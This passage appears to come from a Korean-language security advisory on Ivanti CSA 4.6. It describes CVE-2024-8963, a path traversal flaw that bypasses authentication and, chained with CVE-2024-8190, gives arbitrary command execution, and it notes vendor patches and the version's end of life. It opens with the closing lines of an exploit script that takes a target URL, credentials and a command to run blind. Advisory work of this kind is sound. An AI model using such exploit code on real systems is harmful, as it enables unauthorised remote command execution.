parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
args = parser.parse_args()
exploit(args.url, args.username, args.password, args.command)
1.1 CVE-2024-8963
- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1) > 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음 > CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음
영향받는 버전: Ivanti CSA 4.6
- 벤더사는 업데이트 제공 [5][6]
> 입력값에 대한 검증 과정 추가 > CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요[7]